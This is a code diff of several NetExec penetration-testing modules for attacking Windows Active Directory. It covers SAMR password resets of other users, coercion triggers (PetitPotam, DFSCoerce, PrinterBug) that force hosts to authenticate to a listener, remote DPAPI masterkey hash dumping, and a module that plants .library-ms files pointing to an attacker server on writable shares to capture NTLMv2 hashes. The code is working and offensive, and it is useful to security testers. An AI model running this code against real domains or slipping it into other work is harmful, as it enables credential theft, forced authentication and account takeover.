self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=self.anonymous)
|
||||
except Exception as e:
|
||||
# Handle specific errors like password expiration or must be change
|
||||
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e):
|
||||
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e):
|
||||
context.log.warning("Password must be changed. Trying with null session.")
|
||||
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True)
|
||||
self.anonymous = True
|
||||
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=self.anonymous)
|
||||
elif "STATUS_LOGON_FAILURE" in str(e):
|
||||
context.log.fail("Authentication failure: wrong credentials.")
|
||||
return False
|
||||
@@ -101,49 +110,40 @@ class NXCModule:
|
||||
try:
|
||||
# Perform the SMB SAMR password change
|
||||
self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
|
||||
|
||||
# Remove user if exists to avoid outdated credentials when we update plaintext password, but hash exists (or vice versa)
|
||||
user = self.context.db.get_user(target_domain, target_username)
|
||||
user_ids = [row[0] for row in user]
|
||||
self.context.db.remove_credentials(user_ids)
|
||||
|
||||
# Store the new credentials in the database
|
||||
if new_nthash:
|
||||
self.context.db.add_credential("hash", target_domain, target_username, new_nthash)
|
||||
else:
|
||||
self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass)
|
||||
except Exception as e:
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
self.context.log.fail(f"STATUS_ACCESS_DENIED while changing password for user: {target_username}")
|
||||
elif "STATUS_NONE_MAPPED" in str(e):
|
||||
self.context.log.fail(f"User '{target_username}' not found or not resolvable")
|
||||
context.log.fail(f"Password change failed: {e}")
|
||||
|
||||
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
|
||||
try:
|
||||
# Reset the password for a different user
|
||||
if target_username != connection.username:
|
||||
user_handle = self._hSamrOpenUser(connection, target_username)
|
||||
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
|
||||
context.log.success(f"Successfully changed password for {target_username}")
|
||||
else:
|
||||
context.log.fail(f"SMB-SAMR password change failed: {e}")
|
||||
# Change password for the current user
|
||||
if newPassword:
|
||||
# Change the password with new password
|
||||
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
|
||||
else:
|
||||
# Change the password with new hash
|
||||
user_handle = self._hSamrOpenUser(connection, target_username)
|
||||
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
|
||||
context.log.highlight("Note: Target user must change password at next logon.")
|
||||
context.log.success(f"Successfully changed password for {target_username}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"SMB-SAMR password change failed: {e}")
|
||||
finally:
|
||||
self.dce.disconnect()
|
||||
|
||||
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
|
||||
# Reset the password for a different user
|
||||
if target_username != connection.username:
|
||||
user_handle = self._hSamrOpenUser(connection, target_username)
|
||||
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
|
||||
context.log.success(f"Successfully changed password for {target_username}")
|
||||
else:
|
||||
# Change password for the current user
|
||||
if newPassword:
|
||||
# Change the password with new password
|
||||
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
|
||||
else:
|
||||
# Change the password with new hash
|
||||
user_handle = self._hSamrOpenUser(connection, target_username)
|
||||
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
|
||||
context.log.highlight("Note: Target user must change password at next logon.")
|
||||
context.log.success(f"Successfully changed password for {target_username}")
|
||||
|
||||
def _hSamrOpenUser(self, connection, username):
|
||||
"""Connect to the target server and retrieve the user handle"""
|
||||
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
|
||||
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
|
||||
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
|
||||
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
|
||||
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
|
||||
"""Get handle to the user object"""
|
||||
try:
|
||||
# Connect to the target server and retrieve handles
|
||||
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
|
||||
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
|
||||
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
|
||||
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
|
||||
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to open user: {e}")
|
||||
+29
-25
@@ -1,18 +1,16 @@
|
||||
from impacket import uuid
|
||||
from impacket.dcerpc.v5 import transport, rprn, even, epm
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
|
||||
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
import contextlib
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "coerce_plus"
|
||||
description = "Module to check if the Target is vulnerable to any coerce vulns. Set LISTENER IP for coercion."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -214,15 +212,6 @@ class NXCModule:
|
||||
return
|
||||
|
||||
|
||||
def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str:
|
||||
string_binding = rf"ncacn_ip_tcp:{target}[135]"
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
|
||||
|
||||
|
||||
class ShadowCoerceTrigger:
|
||||
def __init__(self, context):
|
||||
self.context = context
|
||||
@@ -398,8 +387,8 @@ class DFSCoerceTrigger:
|
||||
"""
|
||||
request["ServerName"] = f"{listener}\x00"
|
||||
request["RootShare"] = "test\x00"
|
||||
request["Comment"] = "test\x00"
|
||||
request["Share"] = "x:\\test\x00"
|
||||
request["Comment"] = "lodos\x00"
|
||||
request["Share"] = "x:\\lodos2005\x00"
|
||||
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
@@ -420,7 +409,7 @@ class DFSCoerceTrigger:
|
||||
request["pDfsPath"] = f"\\\\{listener}\\a\x00"
|
||||
request["pTargetPath"] = NULL
|
||||
request["MajorVersion"] = 0
|
||||
request["pComment"] = "test\x00"
|
||||
request["pComment"] = "lodos\x00"
|
||||
request["NewNamespace"] = 0
|
||||
request["Flags"] = 0
|
||||
dce.request(request)
|
||||
@@ -483,7 +472,7 @@ class DFSCoerceTrigger:
|
||||
request = NetrDfsAddStdRoot()
|
||||
request["ServerName"] = f"{listener}\x00"
|
||||
request["RootShare"] = "test\x00"
|
||||
request["Comment"] = "test\x00"
|
||||
request["Comment"] = "lodos\x00"
|
||||
request["ApiFlags"] = 0
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
@@ -539,11 +528,6 @@ class PetitPotamtTrigger:
|
||||
},
|
||||
}
|
||||
|
||||
# activates EFS
|
||||
# https://specterops.io/blog/2025/08/19/will-webclient-start/
|
||||
with contextlib.suppress(Exception):
|
||||
get_dynamic_endpoint(uuidtup_to_bin(("df1941c5-fe89-4e79-bf10-463657acf44d", "0.0")), target, timeout=1)
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
rpctransport.set_dport(445)
|
||||
|
||||
@@ -771,6 +755,27 @@ class PrinterBugTrigger:
|
||||
def __init__(self, context):
|
||||
self.context = context
|
||||
|
||||
def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str:
|
||||
string_binding = rf"ncacn_ip_tcp:{target}[135]"
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
self.context.log.debug(f"Trying to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}")
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
self.context.log.warning(f"Failed to connect to endpoint mapper: {e}")
|
||||
raise e
|
||||
try:
|
||||
endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
|
||||
self.context.log.debug(
|
||||
f"Resolved dynamic endpoint {uuid.bin_to_string(interface)!r} to {endpoint!r}"
|
||||
)
|
||||
return endpoint
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Failed to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}")
|
||||
raise e
|
||||
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
binding_params = {
|
||||
"spoolss": {
|
||||
@@ -779,12 +784,11 @@ class PrinterBugTrigger:
|
||||
"port": 445
|
||||
},
|
||||
"[dcerpc]": {
|
||||
"stringBinding": self.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
|
||||
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
|
||||
"port": None
|
||||
}
|
||||
}
|
||||
if pipe == "[dcerpc]":
|
||||
binding_params["[dcerpc]"]["stringBinding"] = get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target)
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
if binding_params[pipe]["port"] is not None:
|
||||
rpctransport.set_dport(binding_params[pipe]["port"])
|
||||
@@ -1084,7 +1088,7 @@ class EFS_HASH_BLOB(NDRSTRUCT):
|
||||
|
||||
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
||||
structure = (
|
||||
("Length", DWORD),
|
||||
("Lenght", DWORD),
|
||||
("SID", RPC_SID),
|
||||
("Hash", EFS_HASH_BLOB),
|
||||
("Display", LPWSTR),
|
||||
|
||||
+11
-13
@@ -3,16 +3,15 @@ import json
|
||||
import datetime
|
||||
from enum import Enum
|
||||
from impacket.ldap import ldaptypes
|
||||
from impacket.ldap.ldapasn1 import SDFlagsControl
|
||||
from impacket.uuid import bin_to_string
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from ldap3.utils.conv import escape_filter_chars
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
import sys
|
||||
import traceback
|
||||
from os.path import isfile
|
||||
|
||||
|
||||
OBJECT_TYPES_GUID = {}
|
||||
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
|
||||
OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS)
|
||||
@@ -190,8 +189,8 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
|
||||
|
||||
|
||||
SEARCH_FILTERS = {
|
||||
"TARGET": lambda target: f"(sAMAccountName={target})",
|
||||
"TARGET_DN": lambda target: f"(distinguishedName={target})"
|
||||
"TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})",
|
||||
"TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})"
|
||||
}
|
||||
|
||||
|
||||
@@ -200,13 +199,12 @@ class NXCModule:
|
||||
|
||||
This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
|
||||
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
|
||||
It could be interesting to implement the write/remove functions here.
|
||||
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
|
||||
"""
|
||||
|
||||
name = "daclread"
|
||||
description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -249,10 +247,10 @@ class NXCModule:
|
||||
context.log.debug("There is a target specified!")
|
||||
if isfile(module_options[option]):
|
||||
try:
|
||||
with open(module_options[option]) as target_file:
|
||||
for line in target_file:
|
||||
context.log.debug(f"Adding target from file: {line}")
|
||||
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
|
||||
target_file = open(module_options[option]) # noqa: SIM115
|
||||
for line in target_file:
|
||||
context.log.debug(f"Adding target from file: {line}")
|
||||
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
|
||||
except Exception:
|
||||
context.log.fail("The file doesn't exist or cannot be opened.")
|
||||
else:
|
||||
@@ -288,7 +286,7 @@ class NXCModule:
|
||||
if self.principal_sAMAccountName is not None:
|
||||
try:
|
||||
resp = connection.search(
|
||||
searchFilter=f"(sAMAccountName={self.principal_sAMAccountName})",
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})",
|
||||
attributes=["objectSid"],
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)[0]
|
||||
@@ -306,7 +304,7 @@ class NXCModule:
|
||||
resp = connection.search(
|
||||
searchFilter=search_filter(target),
|
||||
attributes=["distinguishedName", "nTSecurityDescriptor"],
|
||||
searchControls=[SDFlagsControl(criticality=False, flags=0x04)],
|
||||
searchControls=security_descriptor_control(sdflags=0x04),
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)[0]
|
||||
|
||||
|
||||
@@ -1,11 +1,7 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dfscoerce"
|
||||
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
|
||||
@@ -1,68 +0,0 @@
|
||||
from impacket.structure import Structure
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @MaxToffy"""
|
||||
name = "dns-nonsecure"
|
||||
description = "Detects DNS zones that allow nonsecure dynamic updates"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
search_bases = {
|
||||
"domain": f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}",
|
||||
"forest": f"CN=MicrosoftDNS,DC=ForestDnsZones,{connection.forestDN}"
|
||||
}
|
||||
|
||||
for dns_type, search_base in search_bases.items():
|
||||
# Search for domain DNS zones
|
||||
resp = connection.search(
|
||||
searchFilter="(objectClass=dnsZone)",
|
||||
attributes=["name", "dNSProperty"],
|
||||
baseDN=search_base,
|
||||
)
|
||||
zones = parse_result_attributes(resp)
|
||||
|
||||
# Get dynamic updates configuration for each zones
|
||||
allows_nonsecure_updates = []
|
||||
for zone in zones:
|
||||
for prop in zone["dNSProperty"]:
|
||||
dns_properties = DNS_PROPERTY(prop)
|
||||
|
||||
# [MS-DNSP] 2.2.5.2.4.1 - DNS_RPC_ZONE_INFO_W2K - fAllowUpdate
|
||||
if dns_properties["Id"] == DSPROPERTY_ZONE_ALLOW_UPDATE and int.from_bytes(dns_properties["Data"]) == ZONE_UPDATE_UNSECURE:
|
||||
allows_nonsecure_updates.append(zone["name"])
|
||||
|
||||
if allows_nonsecure_updates:
|
||||
context.log.success(f"{dns_type.capitalize()} DNS zone(s) allowing nonsecure dynamic updates")
|
||||
for zone in allows_nonsecure_updates:
|
||||
context.log.highlight(zone)
|
||||
else:
|
||||
context.log.fail(f"No {dns_type} DNS zones allowing nonsecure dynamic updates")
|
||||
|
||||
|
||||
# [MS-DNSP] - 2.3.2.1 - dnsProperty
|
||||
class DNS_PROPERTY(Structure):
|
||||
structure = (
|
||||
("DataLength", "<L-Data"),
|
||||
("NameLength", "<L"),
|
||||
("Flag", "<L"),
|
||||
("Version", "<L"),
|
||||
("Id", "<L"),
|
||||
("Data", ":"),
|
||||
("Name", "1s"),
|
||||
)
|
||||
|
||||
|
||||
# [MS-DNSP] - 2.3.2.1.1 - Property Id
|
||||
DSPROPERTY_ZONE_ALLOW_UPDATE = 0x02
|
||||
|
||||
# [MS-DNSP] - 2.2.5.2.4.1 - fAllowUpdate values
|
||||
ZONE_UPDATE_OFF = 0x00000000
|
||||
ZONE_UPDATE_UNSECURE = 0x00000001
|
||||
ZONE_UPDATE_SECURE = 0x00000002
|
||||
@@ -1,13 +1,15 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.masterkeys import MasterkeysTriage
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
# Based on dpapimk2john, original work by @fist0urs
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dpapi_hash"
|
||||
description = "Remotely dump Dpapi hash based on masterkeys"
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
supported_protocols = ["smb"]
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""OUTPUTFILE Output file to write hashes"""
|
||||
@@ -16,11 +18,33 @@ class NXCModule:
|
||||
self.outputfile = module_options["OUTPUTFILE"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
try:
|
||||
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=connection.dpapi_triage.target,
|
||||
conn=connection.dpapi_triage.conn,
|
||||
target=target,
|
||||
conn=conn,
|
||||
)
|
||||
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
context.log.debug("Collecting user masterkeys")
|
||||
|
||||
@@ -1,91 +0,0 @@
|
||||
import ntpath
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Requested by the issue #652, heavily inspired by drop-sc, scuffy and slinky modules
|
||||
https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/
|
||||
https://cti.monster/blog/2025/03/18/CVE-2025-24071.html
|
||||
Module by: @XedSama
|
||||
"""
|
||||
name = "drop-library-ms"
|
||||
description = "Creates and uploads an arbitrary .library-ms on writable shares, leveraging CVE-2025-24054 for looting NTLMv2 hash"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
|
||||
|
||||
self.server = None
|
||||
self.lms_name = ""
|
||||
self.cleanup = False
|
||||
|
||||
self.local_path = None
|
||||
self.remote_path = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
SERVER Attacker machine
|
||||
NAME File name
|
||||
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
|
||||
CLEANUP Cleaning option (True or False)
|
||||
"""
|
||||
if "SERVER" not in module_options and not self.cleanup:
|
||||
context.log.fail("SERVER option is required")
|
||||
exit(1)
|
||||
|
||||
if "NAME" not in module_options:
|
||||
context.log.fail("NAME option is required!")
|
||||
exit(1)
|
||||
|
||||
if "IGNORE" in module_options:
|
||||
self.ignore_shares = module_options["IGNORE"].split(",")
|
||||
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
|
||||
|
||||
if "CLEANUP" in module_options:
|
||||
self.cleanup = bool(module_options["CLEANUP"])
|
||||
context.log.debug(f"CLEANUP is set to {self.cleanup}")
|
||||
|
||||
self.lms_name = module_options["NAME"]
|
||||
self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
|
||||
self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
|
||||
|
||||
if not self.cleanup:
|
||||
self.server = module_options["SERVER"]
|
||||
with open(self.local_path, "w", encoding="utf-8") as libms:
|
||||
libms.truncate(0)
|
||||
libms.write('<?xml version="1.0" encoding="UTF-8"?>')
|
||||
libms.write('<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">')
|
||||
libms.write("<searchConnectorDescriptionList>")
|
||||
libms.write("<searchConnectorDescription>")
|
||||
libms.write("<simpleLocation>")
|
||||
libms.write(f"<url>\\\\{self.server}\\LIBRARY</url>")
|
||||
libms.write("</simpleLocation>")
|
||||
libms.write("</searchConnectorDescription>")
|
||||
libms.write("</searchConnectorDescriptionList>")
|
||||
libms.write("</libraryDescription>")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
|
||||
context.log.success(f"Found writable share : {share['name']}")
|
||||
|
||||
if self.cleanup:
|
||||
try:
|
||||
connection.conn.deleteFile(share["name"], self.remote_path)
|
||||
context.log.success(f"Deleted .library-ms file on share '{share['name']}'")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting .library-ms file on share '{share['name']}' : {e}")
|
||||
|
||||
else:
|
||||
with open(self.local_path, "rb") as libms:
|
||||
try:
|
||||
connection.conn.putFile(share["name"], self.remote_path, libms.read)
|
||||
context.log.success(f"Created .library-ms file on share '{share['name']}'")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing .library-ms file on share '{share['name']}' : {e}")
|
||||
@@ -1,6 +1,5 @@
|
||||
import ntpath
|
||||
import tempfile
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -13,7 +12,6 @@ class NXCModule:
|
||||
name = "drop-sc"
|
||||
description = "Drop a searchConnector-ms file on each writable share"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -47,7 +45,7 @@ class NXCModule:
|
||||
with open(self.scfile_path, "w") as scfile:
|
||||
scfile.truncate(0)
|
||||
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
|
||||
scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
|
||||
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
|
||||
scfile.write("<description>Microsoft Outlook</description>")
|
||||
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
|
||||
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
|
||||
|
||||
@@ -1,12 +1,10 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dump-computers"
|
||||
description = "Dumps FQDN and OS of all computers in the domain"
|
||||
description = "Dumps all computers in the domain"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -43,11 +41,8 @@ class NXCModule:
|
||||
context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
|
||||
|
||||
for item in resp_parsed:
|
||||
dns_host_name = item.get("dNSHostName")
|
||||
dns_host_name = item["dNSHostName"]
|
||||
operating_system = item.get("operatingSystem", "Unknown OS")
|
||||
if not dns_host_name:
|
||||
context.log.debug(f"Skipping computer without dNSHostName: {item.get('cn', '<unknown>')}")
|
||||
continue
|
||||
|
||||
if self.netbios_only:
|
||||
netbios_name = dns_host_name.split(".")[0]
|
||||
|
||||
@@ -1,20 +1,110 @@
|
||||
import ntpath
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.context import Context
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_ATTRIBUTE_ENCRYPTED
|
||||
from impacket.smbconnection import SessionError, SMBConnection
|
||||
|
||||
|
||||
def get_error_string(exception):
|
||||
if hasattr(exception, "getErrorString"):
|
||||
try:
|
||||
es = exception.getErrorString()
|
||||
except KeyError:
|
||||
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
|
||||
if type(es) is tuple:
|
||||
return es[0]
|
||||
else:
|
||||
return es
|
||||
else:
|
||||
return str(exception)
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""EFSR Spray Module
|
||||
Module by @rtpt-romankarwacik
|
||||
"""
|
||||
|
||||
name = "efsr_spray"
|
||||
description = "[REMOVED] Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
|
||||
description = "Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
|
||||
supported_protocols = ["smb"]
|
||||
excluded_shares = ["SYSVOL"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context: Context, module_options: dict[str, str]):
|
||||
"""
|
||||
FILE_NAME Name of the file which will be tried to create and afterwards delete
|
||||
SHARE_NAME If set, ONLY this share will be used
|
||||
EXCLUDED_SHARES List of share names which will not be used, separated by comma
|
||||
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
|
||||
"""
|
||||
self.file_name = module_options.get("FILE_NAME", ntpath.normpath("\\" + gen_random_string() + ".txt"))
|
||||
self.share_name = module_options.get("SHARE_NAME")
|
||||
if module_options.get("EXCLUDED_SHARES"):
|
||||
self.excluded_shares += module_options.get("EXCLUDED_SHARES", "").split(",")
|
||||
|
||||
def on_login(self, context: Context, connection):
|
||||
context.log.fail('[REMOVED] This module has been made obsolete and EFS will be activated automatically by "coerce_plus"')
|
||||
conn: SMBConnection = connection.conn # Because typing is broken due to smb being a folder and a file >:(
|
||||
|
||||
try:
|
||||
shares = conn.listShares()
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
context.log.fail(f"Error enumerating shares: {error}", color="magenta")
|
||||
return
|
||||
|
||||
# Check if named pipe is already available
|
||||
try:
|
||||
named_pipe_names = [f.get_shortname() for f in conn.listPath("IPC$", "*")]
|
||||
if "efsrpc" in named_pipe_names:
|
||||
context.log.highlight("efsrpc named pipe is already available!")
|
||||
# if it is already activated we just skip this computer
|
||||
return
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
context.log.fail(f"Error enumerating named pipes: {error}", color="magenta")
|
||||
return
|
||||
|
||||
# Write an encrypted file on the share root.
|
||||
# This will likely fail with STATUS_ACCESS_DENIED if we do not have the permission to create encrypted files,
|
||||
# but this does not matter as the service will be activated nevertheless if we have WRITE or MODIFY access
|
||||
for share in shares:
|
||||
share_name = share["shi1_netname"][:-1]
|
||||
if self.share_name is not None and self.share_name != share_name:
|
||||
continue
|
||||
|
||||
if share_name in self.excluded_shares:
|
||||
continue
|
||||
|
||||
try:
|
||||
context.log.debug(f"Connecting to share {share_name}...")
|
||||
tid = conn.connectTree(share_name)
|
||||
except SessionError as e:
|
||||
context.log.debug(f"Could not connect to share {share_name}: {e}")
|
||||
continue
|
||||
try:
|
||||
context.log.debug(f"Creating file in {share_name}...")
|
||||
fid = conn.createFile(tid, self.file_name,
|
||||
desiredAccess=FILE_SHARE_WRITE,
|
||||
shareMode=FILE_SHARE_DELETE,
|
||||
fileAttributes=FILE_ATTRIBUTE_ENCRYPTED)
|
||||
conn.closeFile(tid, fid)
|
||||
